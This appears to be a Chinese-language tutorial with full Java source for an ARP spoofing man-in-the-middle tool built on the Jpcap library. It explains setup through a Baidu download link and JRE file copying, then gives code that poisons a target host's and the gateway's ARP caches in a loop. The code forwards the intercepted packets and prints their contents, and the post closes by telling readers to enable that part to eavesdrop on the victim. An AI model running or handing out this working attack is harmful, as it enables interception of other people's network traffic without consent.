使用jpcap。下载链接为http://pan.baidu.com/s/1jG5wLHs。内含对应的jar和dll。
配置方法:
在windows 64位中(amd 和英特尔均可),下载jpcap安装包。需要提前安装winpcap。
配置Jpcap路径:这一步也是最重要的一步。具体路径为,把Jpcap文件夹下lib文件夹里的Jpcap.dll复制到"C:\Program Files\Java\jre1.6.0_07\bin"文件夹里面(复制到你机器JRE文件夹放到bin文件夹里面就可以了,其中JRE的版本一定要与Eclipse配置的版本一致),再把Jpcap文件夹下lib文件夹里的Jpcap.jar复制到"C:\Program Files\Java\jre1.6.0_07\lib\ext"文件夹里面(复制到你机器JRE文件夹->lib->ext放到ext文件夹里面就可以了)。
然后配置Eclipse的JRE环境,(一定需要),选择Window->preferences->Java->Installed JREs,在Installed JREs选择框中选择相应的JRE版本,点Edit,选择Add External JARs…,选择你的Jpcap.jar包("C:\Program Files\Java\jre1.6.0_07\lib\ext"文件夹里),在Finish就配置全部完成了;
在eclipse中代码如下
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.packet.IPPacket;
import jpcap.packet.Packet;
import jpcap.packet.TCPPacket;
public class ChangeARP {
private NetworkInterface[] devices;
private NetworkInterface device;
private JpcapCaptor jpcap;
private JpcapSender sender;
private ARPPacket arpTarget,arpGate;
private byte[] targetMAC,gateMAC;
private String targetIP,gateIP;
private void getDevice() throws IOException{
devices = JpcapCaptor.getDeviceList();
//may not have only one devices
device = devices[0];
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);
jpcap.setFilter("ip", true);
sender = jpcap.getJpcapSenderInstance();
}
public ChangeARP(byte[] targetMAC,String targetIP,byte[] gateMAC,String gateIP)
throws UnknownHostException,InterruptedException{
//may be buggy
this.targetMAC = targetMAC;
this.targetIP = targetIP;
this.gateMAC = gateMAC;
this.gateIP = gateIP;
try{
getDevice();
}catch(IOException e){
}
///
//以下程序用于构建欺骗目标的arp包,使用自己的mac地址,冒充他人ip
//
//
//
建立ARP包///
arpTarget = new ARPPacket();
//以太网类型
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;
//ip类型
arpTarget.prototype = ARPPacket.PROTOTYPE_IP;
//relay类型
arpTarget.operation = ARPPacket.ARP_REPLY;
//mac地址为6个字节
arpTarget.hlen = 6;
//ip地址为4个字节
arpTarget.plen = 4;
arpTarget.sender_hardaddr = device.mac_address;
arpTarget.sender_protoaddr = InetAddress.getByName(gateIP).getAddress();
arpTarget.target_hardaddr = targetMAC;
arpTarget.target_protoaddr = InetAddress.getByName(targetIP).getAddress();
//建立以太网包
EthernetPacket ethToTarget = new EthernetPacket();
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToTarget.src_mac = device.mac_address;
ethToTarget.dst_mac = targetMAC;
arpTarget.datalink = ethToTarget;
///
//以下程序用于构建欺骗网关的arp包
//
//
//
arpGate = new ARPPacket();
arpGate.hardtype = ARPPacket.HARDTYPE_ETHER;
arpGate.prototype = ARPPacket.PROTOTYPE_IP;
arpGate.operation = ARPPacket.ARP_REPLY;
arpGate.hlen = 6;
arpGate.plen = 4;
arpGate.sender_hardaddr = device.mac_address;
arpGate.sender_protoaddr = InetAddress.getByName(targetIP).getAddress();
arpGate.target_hardaddr = gateMAC;
arpGate.target_protoaddr = InetAddress.getByName(gateIP).getAddress();
EthernetPacket ethToGate = new EthernetPacket();
ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToGate.src_mac = device.mac_address; // A的MAC地址
ethToGate.dst_mac = gateMAC; // 网关的MAC地址
arpGate.datalink = ethToGate;
System.out.println(arpTarget);
System.out.println(arpGate);
///
//发射线程
//
//
//
new Thread(new Runnable() {
public void run() {
while (true) {
sender.sendPacket(arpTarget);
sender.sendPacket(arpGate);
System.out.println("hahahahaahah");
try {
Thread.sleep(500);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}).start();
//recP();//接收数据并转发
}
///
//用于转发数据
//
//
//
public void recP(){
IPPacket ipPacket = null;
while(true){
ipPacket = (IPPacket)jpcap.getPacket();
if(ipPacket == null)
continue;
if(ipPacket.src_ip.getHostAddress().equals(targetIP)){
System.out.println(ipPacket);
System.out.println(new String(ipPacket.data));
}
if(ipPacket.src_ip.getHostAddress().equals(targetIP)){
send(ipPacket,gateMAC);
}else{
send(ipPacket,targetMAC);
}
}
}
///
//用于发射
//
//
//
private void send(Packet packet,byte[] changeMac){
EthernetPacket eth;
if(packet.datalink instanceof EthernetPacket){
eth = (EthernetPacket)packet.datalink;
for(int i=0;i<6;i++){
eth.dst_mac[i]=changeMac[i];
eth.src_mac[i]=device.mac_address[i];
}
sender.sendPacket(packet);
}
}
public static void main(String[] args)throws Exception{
byte[] targetMAC = new byte[6];
targetMAC[0] = (byte) 0x6c;
targetMAC[1] = (byte) 0x62;
targetMAC[2] = (byte) 0x6d;
targetMAC[3] = (byte) 0x3c;
targetMAC[4] = (byte) 0xab;
targetMAC[5] = (byte) 0x77;
byte[] gateMAC = new byte[6];
gateMAC[0] = (byte) 0x68;
gateMAC[1] = (byte) 0xbd;
gateMAC[2] = (byte) 0xab;
gateMAC[3] = (byte) 0x33;
gateMAC[4] = (byte) 0xff;
gateMAC[5] = (byte) 0x80;
String targetIP = "192.168.48.14";
String gateIP = "192.168.48.1";
System.out.println(System.getProperty("java.library.path"));
ChangeARP temp = new ChangeARP(targetMAC,targetIP,gateMAC,gateIP);
}
}
如果要监听对方通信,请将recp前的注释取消掉。